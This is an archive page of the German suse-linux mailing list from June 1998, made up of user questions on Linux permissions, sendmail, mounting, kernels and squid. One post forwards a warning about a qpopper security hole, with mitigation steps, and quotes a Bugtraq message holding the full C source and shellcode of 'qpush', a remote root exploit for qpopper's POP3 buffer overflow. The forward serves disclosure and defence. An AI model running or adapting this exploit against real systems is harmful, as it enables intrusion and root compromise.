June 1998 - openSUSE Users (Deutsch) - openSUSE Mailing Lists

rechte...
by strale＠htlbraunau.asn-linz.ac.at 30 Jun '98

30 Jun '98

Hi Liste! Ich hab da mal ne Frage... Wie kann ich es anstellen, das ich, wenn ich einen user rechte gib, er in allen Unterverzeichnissen auch Rechte hat(so wie das unter novell ist)?(z.B. user hans hat im verz. /opt/download rechte, und auch im /opt/download/xxx /opt/download/??? und allen andren unterverzeichnissen...) Und, kann ich nur z.B. 5 user rechte auf ein Verzeichnis geben? Ich möchte nicht gleich eine Gruppe erstellen, nur um ein Verzeichnis für ein paar user freizugeben. Ich möchte gern dem user mit dem ID 501, 505, 508, 5?? rechte auf ein Verzeichnis geben, aber den andren nicht. Wie mach ich das? Sorry, ist wahrscheindlich ne einfache Sache, aber ich kenn mich mit rechten unter Linux nicht so aus(hab zwar schon sein 2 Jahren Linux, hatte aber nie einen Server...) und aus den man pages werd ich auch nicht so ganz schlau :-( (liegt wahrscheindlich an meinen schlechten englisch kentnissen...) Könnte mir bitte wer helfen? Ich bin für jede Hilfe dankbar. Gruss Erich -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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Re: OT: Schweigsame Mailingliste?
by FLorenzen＠aol.com 30 Jun '98

30 Jun '98

beckerra(a)rumms.uni-mannheim.de (Raphael Becker) schrieb: >Was ist los mit der Liste? Das hab ich mich auch gefragt..... >Wenn es daran liegen sollte, daß die von SuSE das ReplyTo herausgenommen HOSSA !! Das hab ich eben erst gemerkt......(sch"am) Hab aber seitdem erst eine Antwort geschrieben und mich gewundert, warum das Ding nich in der Liste auftauchte. >haben :-( , dann kann ich denen nur empfehlen es wieder hereinzusetzen >und ich möchte Euch auffordern Antworten direkt über die Liste zu >schicken, wenn es in irgendeiner Form auch für die Allgemeinheit >interessant sein könnte. So eine Liste verliert ja völlig ihren Reiz, wenn nur noch die Fragen dort auf- tauchen, und die Antworten als PM hin- und hergehen.Wenn nicht irgendjemand aus Mitleid oder so ein cc:suse-linux@suse.com mit in den Header reinhaut. Die wenigsten Subscriber beteidigen sich aktiv in der Liste, ich denke der gr"osste Teil bereichert sich an den Diskussionen, die ein paar wenige f"uhren. Das ist ja auch gut so. Wenn JEDER zu ALLEM schriebt was er denkt, ........... nun ja....... Also bitte lieber Listen-Admin: setz das reply-to: wieder auf die Liste, du machst uns allen damit das Leben leichter und unterst"uzt meine Faulheit nicht immer ein cc:suse-linux@suse.com nachtragen zu m"ussen. Danke. Amen. gruss fisch -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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sendmail will nicht mehr
by thmeier＠buerokom.de 30 Jun '98

30 Jun '98

Hallo Ihr alle, da lief er und lief er .... gemeint ist mein sendmail, bisher tat er willenlos seinen Dienst. Heute nun musste ich den Router neu booten und seit dem verweigert sendmail einfach seinen Dienst. Ich habe versucht ihn mittels /sbin/init.d/sendmal start von Hand zu starten. Nix tut sich. Ich bin nun jedes log-File durch und habe keine igendwiegeartete Fehlermeldung gefunden. in der Prozessliste taucht er nicht auf, er verabschiedet sich einfach ohne etwas von sich zu geben. Nun bin ich voellig ratlos, wer kann mir nen Tip geben, wo ich nun am ehesten anfange den Fehler zu suchen voellig ratlos tschau thomas -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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auto user mount
by root＠Herb1.Betz.de.suse.de 30 Jun '98

30 Jun '98

Eine Verständnisfrage zu mount bzw. fstab: Wenn ich in fstab als mount - Option rw,user,noauto eintrage und dann als ein User dieses z.B. DOS-Dateisystem mounte, dann bin ich als Eigentümer aller dieser DOS-Dateien aufgeführt (nach ls -la) und kann als User auch auf das DOS-Filesystem kopieren. Welche fstab-Option muss ich aber zu demselben Zweck eintragen, wenn ich zur Bootzeit das DOS mit auto mounten möchte, um dann als ein User dorthin kopieren zu können ? auto,user,suid oder nosuid helfen nichts: immer ist root als Eigentümer des DOS-Systemes eingetragen ... MFG, Herbert -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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FW: qpush: qpopper exploit source
by noel＠wipol.uni-bonn.de 30 Jun '98

30 Jun '98

Hallo, mal zur Info: -----FW: <000901bda358$8df90a40$bc9cdc83(a)cygnus.tabu.uni-bonn.de>----- EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! EXTREM WICHTIG!!!!!!! SICHERHEITSLUECKE IN QPOPPER ============================ qpopper ist ein POP3 Daemon, der in JEDER Suse Linux Distribution installiert und aktiviert ist!!! Auch auf vielen anderen Systemen wird er eingesetzt Es ist moeglich innerhalb von 5 Sekunden von jedem Rechner der Welt aus eine root-Shell auf dem betroffenen Rechner zu oeffnen. BETROFFENE SYSTEME: =================== JEDER SUSE LINUX RECHNER mit aktiviertem qpopper (STANDARDEINSTELLUNG IN SUSE LINUX!!!) JEDER ANDERE RECHNER mit qpopper FESTSTELLEN, OB RECHNER BETROFFEN: ================================== Ist folgender Eintrag in der /etc/inetd.conf vorhanden, so ist der Rechner betroffen: pop3 stream tcp nowait root /usr/sbin/popper -s (Lautet das Programm ipop3 anstatt popper, so ist der Rechner NICHT betroffen) LOESUNG: ======== Ersteinmal deaktivieren des qpoppers in /etc/inetd.conf und danach kill -HUP auf die Prozess ID vom inetd. Danach installieren eines sicheren POP3 Daemons. (zum Beispiel ipop3d) Die Sourcen dazu liegen auf ftp.tabu.uni-bonn.de in /pub/patches/unix <A HREF="ftp://ftp.tabu.uni-bonn.de/pub/patches/unix"><A HREF="ftp://ftp.tabu.uni-bonn.de/pub/patches/unix</A">ftp://ftp.tabu.uni-bonn.de/pub/patches/unix</A</A>> Hier ein Beispiel-Angriff von szczepan(a)bse.tabu.uni-bonn.de auf biblio3.physik.uni-bonn.de (Dort habe ich den popper nach dem "Angriff" deaktiviert) ================================================================ zczepan@bse:/home/szczepan > ./a.out biblio3.physik.uni-bonn.de äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿". whoami root hostname biblio3 logout ================================================================ Ich empfehle die sofortige Deaktivierung aller qpopper Daemon Prozesse in /etc/inetd.conf und einen Neustart des inetd! Torge Szczepanek - ICQ 3067708 _ Tutor CIP-Pool Physics - Admin SWH Tannenbusch _ <A HREF="http://cygnus.ml.org/_"><A HREF="http://cygnus.ml.org/_</A">http://cygnus.ml.org/_</A</A>> <A HREF="mailto:cygnus@iname.com">mailto:cygnus@iname.com</A> -----Original Message----- From: Bugtraq List [<A HREF="mailto:BUGTRAQ@NETSPACE.ORG">mailto:BUGTRAQ@NETSPACE.ORG</A>] On Behalf Of Herbert Rosmanith Sent: Montag, 29. Juni 1998 02:21 To: BUGTRAQ(a)NETSPACE.ORG Subject: qpush: qpopper exploit source dear listmembers, this program demonstrates how to exploit popper. it took me quite a time that vsprintf() in pop_msg translates all upper-case to lower-case, which will result in corruptions of assembly code containing these codes, and interpretes hexcodes like 0x0c, 0x0b as line seperator (LF?), which seems to stop the copying of the shell-code too early. note that, after "qpush" has successfully executed /bin/sh, you will not see any prompt. type "id" to see who you are, like that: $ ./qpush technix.oeh äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿ id uid=0(root) gid=0(root) use at your own risk. regards, h.rosmanith herp(a)wildsau.idv.uni-linz.ac.at --------------------------- >8 -------------------------------- /* qpush: qualcom popper buffer overflow exploit (pop_msg) * Mon Jun 29 01:26:06 GMT 1998 - herp * Herbert Rosmanith * herp(a)wildsau.idv.uni-linz.ac.at */ #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <signal.h> #include <unistd.h> #include <errno.h> long addrlist[]={ 0xbfffeee4, /*2.2*/ 0xbfffec2c /*2.41beta1*/ }; char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh........."; void die(char *s) { if (errno) perror(s); else fprintf(stderr,"\n",s); exit(-1); } void usage() { printf("qpush [-index] <hostname>\n" " -0 QPOP Version 2.2 (default)\n" " -1 QPOP Version 2.41beta1\n"); exit(0); } int resolv(char *host,long *ipaddr) { if (isdigit(host[0])) { *ipaddr=inet_addr(host); if (*ipaddr==-1) return -1; } else { struct hostent *hp; if ((hp=gethostbyname(host))==NULL) { fprintf(stderr,"tc: : unknown host\n"); exit(-1); } *ipaddr=*(unsigned long *)hp->h_addr; } return 0; } int connect_to(char *hostname,short port) { struct sockaddr_in s_in; int s; s=socket(PF_INET,SOCK_STREAM,0); if (s==-1) die("socket"); if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1) die("unknown host"); s_in.sin_family=AF_INET; s_in.sin_port=htons(port); if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1) die("connect"); return s; } void socket_read(int s,char *buf,int len) { int i; switch(i=read(s,buf,len)) { case -1: die("unexpected EOF"); case 0: die("EOF"); default: buf[i]=0; //printf("",buf); break; } } void terminal(int s) { char buf[1024]; fd_set rfds; fd_set fds; int i; for (i=0;i<NSIG;i++) signal(i,SIG_IGN); FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(s,&fds); for (;;) { memcpy(&rfds,&fds,sizeof(fds)); i=select(s+1,&rfds,NULL,NULL,NULL); if (i==-1) die("select"); if (i==0) die("session closed"); if (FD_ISSET(s,&rfds)) { if ((i=read(s,buf,sizeof(buf)))<1) die("session closed"); write(1,buf,i); } if (FD_ISSET(0,&rfds)) { if ((i=read(0,buf,sizeof(buf)))<1) die("session closed"); write(s,buf,i); } } } void main(int argc,char *argv[]) { char buf[1024+128]; int s,i,ix; if (argc>=2 && argv[1][0]=='-') { ix=atoi(&argv[1][1]); argc--; argv++; } else ix=0; if (argc!=2 || ix>sizeof(addrlist)/sizeof(long)) usage(); s=connect_to(argv[1],110); /* WKS POP3 */ socket_read(s,buf,sizeof(buf)); memset(buf,0x90,sizeof(buf)); for (i=981;i<981+10*4;i+=4) memcpy(&buf[i],&addrlist[ix],4); memcpy(&buf[941],shellcode,strlen(shellcode)); buf[sizeof(buf)-3]=0x0d; buf[sizeof(buf)-2]=0x0a; buf[sizeof(buf)-1]=0x00; write(s,buf,sizeof(buf)); socket_read(s,buf,sizeof(buf)); terminal(s); } --------------End of forwarded message------------------------- --- Noch einen schönen Tag Noel Köthe -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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Re: linux-l: IMAP-Server f r Linux ???
by r-c＠gmx.net 30 Jun '98

30 Jun '98

On 30-Jun-98 Stefan Bund wrote: > Nix :-) Das sollte auch nicht passieren (no_canonify und no_dns). > Aber wenn er > die Lokale Mail ausliefert, will der meistens einen Nameserver > haben. Und wenn > du in /etc/resolv.conf einen eingetragen hast, verwendet der den > auch --> er > w"ahlt sich ein, es sei denn du hast deinen eigenen Nameserver... > ... oder eine saubere /etc/hosts. p.s. Dein Mailserver hängt falsche Domains an: > Sender: owner-linux-l(a)calle.in-berlin.de > From: Stefan Bund <bund(a)zedat.fu-berlin.de> > To: linux-l(a)calle.in-berlin.de > Subject: Re: linux-l: IMAP-Server f r Linux ??? > Cc: linux-l(a)calle.in-berlin.de -- R. Cirksena <r-c(a)gmx.net> powered by Linux PGP-key on request: mail to r-c(a)gmx.net, subject: get pgp key -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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Problem mit Kernel 2.0.34 und Vfat
by l.baumann＠cityweb.de 30 Jun '98

30 Jun '98

Hallo, Ich habe mir den neuen Kernel 2.0.34 von der S.u.S.E heruntergeladen und installiert Ich kann die Kernel - Konfigurationsprogramme starten, aber unter dem Punkt Filesystem tauchen die Punkte ISO9660, DOS FAT, VFAT, umsdos und einige andere nicht in der Auswahl auf (untert make xconfig sind sie deaktiviert und nicht wählbar). Wenn ich den Kernel so konfiguriere, kann ich diese Dateisysteme nicht mounten und bekomme die Fehlermeldung, das der Kernel diese Dateisysteme nicht unterstütz.Was kann ich machen um die Unterstützung für diese Dateisysteme zu Aktiviren??? Lars -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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Mail-Programm
by Armin.Tibus＠ThePentagon.com 30 Jun '98

30 Jun '98

Hallo! Ich verfolge zur Zeit sehr aufmerksam die Liste was Mailprogramme betrifft und stelle fest das es kein komfortables Programm gibt, mit dem sich auf einfachste weise PGP-Schlüssel verwalten lassen, HTML-Mails unterstützt, und einfach zu konfigurieren und zu bedienen ist, gibt (vergl. PMMail unter Windoof). Oder sehe ich das falsch? Jedenfalls suche ich nach einem Mailprog. das o.g. weitesgehend erfüllt, auch das verwalten mehrerer Accounts sollte möglich sein. Das Mailprogramm kmail geht da schon in die richtige Richtung, nur PGP wird "noch" nicht unterstützt. Gruß, Armin -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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Re: Yamaha CDRW 4001T am EIDE-Port
by drexler＠odn.de 30 Jun '98

30 Jun '98

<DIV><FONT color=#000000 size=2>Hallo,</FONT></DIV> <DIV><FONT color=#000000 size=2></FONT> </DIV> <DIV><FONT size=2>Ich hatte ein aehnliches Problem. </FONT></DIV> <DIV><FONT size=2>Nach Rumstoebern in cdrecord 1.6x und einem Hinweis auf eine SCSI-ATAPI-Emulation in 2.1.x Kernels bin ich auf Kernel 2.1.106 umgestiegen. Neuere Kernels beherrschen eine sog. SCSI-ATAPI-Emulation (in ATAPI-Spec. definiert), die ein eingeschraenktes Ansprechen von ATAPI-Geraeten via SCSI-Kommandos erlaubt. Mit meinem Brenner (Traxdata CDRW2260RW) funktionieren sogar die SCSI-Kommandos" INQUIRY" und "MODE PAGES" (und brennen natuerlich). Ein generelles Umstellen der ATAPI-Devices funktioniert natuerlich nicht (no ROOT-Device). Ich startete uebrigens mit 2.1.84 (nicht uebersetzbar), probierte auch 2.1.103 (diverse Fehler bei sonstigen Programmen). </FONT></DIV> <DIV><FONT size=2></FONT> </DIV> <DIV><FONT size=2>Hermann</FONT></DIV> <BLOCKQUOTE style="BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"> <DIV><FONT face=Arial size=2><B>-----Original Message-----</B><BR><B>From: </B>michael.pahle <<A href="mailto:michael.pahle@metronet.de">michael.pahle(a)metronet.de</A>><BR><B>To: </B><A href="mailto:suse-linux@suse.de">suse-linux(a)suse.de</A> <<A href="mailto:suse-linux@suse.de">suse-linux(a)suse.de</A>><BR><B>Date: </B>Sunday, June 28, 1998 1:10 PM<BR><B>Subject: </B>Yamaha CDRW 4001T am EIDE-Port<BR><BR></DIV></FONT> <DIV><FONT color=#000000 size=2>Hallo!</FONT></DIV> <DIV><FONT color=#000000 size=2>Ich bin neu in der Linux-Gemeinde.</FONT></DIV> <DIV><FONT color=#000000 size=2>Habe derzeit aber noch Probleme mit dem Zugriff auf meine Hardware</FONT></DIV> <DIV><FONT color=#000000 size=2>Weis jemand, wie ich meinen CD-Brenner Yamaha CDRW 4001T für EIDE - also kein SCSI Gerät betreiben kann?</FONT></DIV> <DIV><FONT color=#000000 size=2></FONT> </DIV> <DIV><FONT color=#000000 size=2>Michael</FONT></DIV> <DIV><FONT color=#000000 size=2></FONT> </DIV></BLOCKQUOTE>

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suid - access control lists
by r-c＠gmx.net 30 Jun '98

30 Jun '98

Hallo. Ich habe Verständnisprobleme mit den acl's von squid. Folgedes habe ich vor: Da die Bandbreite von ISDN leider endlich ist, will ich "meine" User zeitgestaffelt ins Internet lassen. Dazu habe ich in squid.conf acl's erstellt: morgens time 08:00-11:00 mittags time 11:00-14:00 nachm time 14:00-16:00 user1 src 192.168.0.1 user2 src 192.168.0.2 user3 src 192.168.0.3 weiter unten dann: http_access allow morgens http_access allow user1 http_access allow mittags http_access allow user2 http_access allow nachm http_access allow user3 Problem: "user1" hat auch außerhalb der in "morgens" definierten Zeit Zugriff. Warum? Die User sollen _nacheinander_ Internet-Zugang erhalten. Danke im Voraus. -- R. Cirksena <r-c(a)gmx.net> powered by Linux PGP-key on request: mail to r-c(a)gmx.net, subject: get pgp key -- Um aus der Liste ausgetragen zu werden, eine Mail an majordomo(a)suse.com schicken, mit dem Text: unsubscribe suse-linux

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